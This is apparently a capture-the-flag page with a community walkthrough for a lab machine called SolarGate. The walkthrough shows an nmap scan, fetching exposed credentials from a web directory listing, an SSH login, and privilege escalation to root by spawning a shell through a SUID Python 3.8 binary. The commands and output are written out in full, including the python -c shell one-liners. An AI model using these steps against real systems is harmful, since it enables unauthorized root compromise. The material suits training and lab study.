SolarGate
Premium Machine (Locked)
SolarGate Energy's solar monitoring server has a misconfigured Python binary and a web service that's a little too helpful. Foothold first, SUID second.
RatCTF
Premium Machine (Locked)
SolarGate Energy's solar monitoring server has a misconfigured Python binary and a web service that's a little too helpful. Foothold first, SUID second.
Community
Short, stage-specific nudges β directional, spoiler-light, no exact commands.
Privilege Escalation
Community
nmap -sV -p 30605,30606 172.105.154.30
172.105.154.30:30606/backup/creds.txt
ssh login .... cat user.txt
nmap -sV -p 30605,30606 172.105.154.30 >>>>>> SimpleHTTPServer 0.6 (Python 3.8.10) >>>>>> /usr/bin/python3.8 -c 'import os; os.execl("/bin/sh", "sh", "-p")' >>>>>>> root access
cat /root/root.txt
You start with:
SSH on non-standard port
HTTP SimpleHTTPServer
nmap -sV -p 30605,30606
Key findings:
30605 β SSH (OpenSSH 8.2p1 Ubuntu)
30606 β HTTP (Python SimpleHTTPServer)
Important insight:
This is a lab-style misconfiguration challenge, so HTTP is likely your entry point.
Opening the HTTP service shows:
Directory listing enabled
Two main items:
backup/
index.txt
Why this matters:
Directory listing = information disclosure vulnerability
You now enumerate further:
curl http://:30606/backup/creds.txt
3. Credential Discovery
Inside the backup directory, you find:
A credentials file containing:
username
password
Security issue:
This is a classic:
Sensitive data exposed in web-accessible backup directory
Use the leaked credentials:
ssh -p 30605 username@
After authentication:
You get a normal Linux shell
System is Ubuntu minimal install
5. User Enumeration
Inside the home directory:
ls
cat user.txt
You confirm:
You have user-level access
No sudo privileges:
sudo -l
Result:
User is NOT allowed sudo
6. Privilege Escalation Discovery
You search for SUID binaries:
find / -perm -4000 -type f 2>/dev/null
Critical finding:
Among standard binaries, you notice:
/usr/bin/python3.8 has SUID bit set
This is highly dangerous and unusual.
Since Python runs with elevated privileges, you can spawn a shell:
/usr/bin/python3.8 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Why this works:
-p preserves privileges
Python inherits root effective UID due to SUID
8. Root Access
Now you are:
Root user shell obtained
You verify by accessing:
/root/root.txt
Attack Chain Summary
Nmap scan
β
HTTP directory listing
β
backup creds found
β
SSH login (user access)
β
SUID enumeration
β
Python SUID abuse
β
Root shell
Challenge Description:
A solar monitoring platform exposes a web service that is a little too helpful. Gain an initial foothold through exposed resources, then leverage a misconfigured SUID binary to obtain root access.
The initial Nmap scan reveals two open ports:
nmap -sV -p 30605,30606 23.92.29.178
PORT STATE SERVICE VERSION
30605/tcp open ssh OpenSSH 8.2p1 Ubuntu
30606/tcp open http SimpleHTTPServer 0.6 (Python 3.8.10)
Since the challenge description references a web service, the HTTP service is the primary target for further enumeration.
Request the root page:
curl -i http://23.92.29.178:30606/
<title>Directory listing for /</title>
backup/
index.txt
The server has directory listing enabled, exposing a backup/ directory.
Inspect files within the exposed backup directory:
curl http://23.92.29.178:30606/backup/creds.txt
# SolarGate credential backup β DO NOT COMMIT
username=s...r
password=s....!
A credential backup file has been accidentally exposed through the web server.
Use the discovered credentials to authenticate via SSH.
ssh solar@23.92.29.178 -p 30605
Password:
s....!
Login is successful.
List the contents of the user's home directory:
ls
notes.txt
todo.txt
user.txt
Retrieve the user flag:
cat user.txt
flag{...._...._...}
Review the remaining files for useful information:
cat notes.txt
cat todo.txt
Solar panel monitoring data archived daily.
Contact admin@solargate.local for access issues.
TODO: remove python suid flag β IT keeps using it for quick scripts. -- mgmt
The TODO note strongly suggests a privilege escalation path involving a SUID Python interpreter.
Enumerate SUID binaries:
find / -perm -4000 -type f 2>/dev/null
/usr/bin/python3.8
A Python interpreter should never normally have the SUID bit set. This is likely the intended privilege escalation vector.
Check the effective UID of the interpreter:
/usr/bin/python3.8 -c 'import os; print(os.geteuid())'
0
The interpreter executes with root privileges.
Spawn a root shell using the SUID Python binary:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
Verify access:
id
uid=0(root) gid=1000(solar) euid=0(root)
Root access has been obtained.
Navigate to the root directory:
cd /root
ls
root.txt
Read the flag:
cat root.txt
flag{...._...._...}
flag{...._...._...}
flag{...._...._...}
/usr/bin/python3.8.Impact: Full compromise of the target system from anonymous web access to root privileges.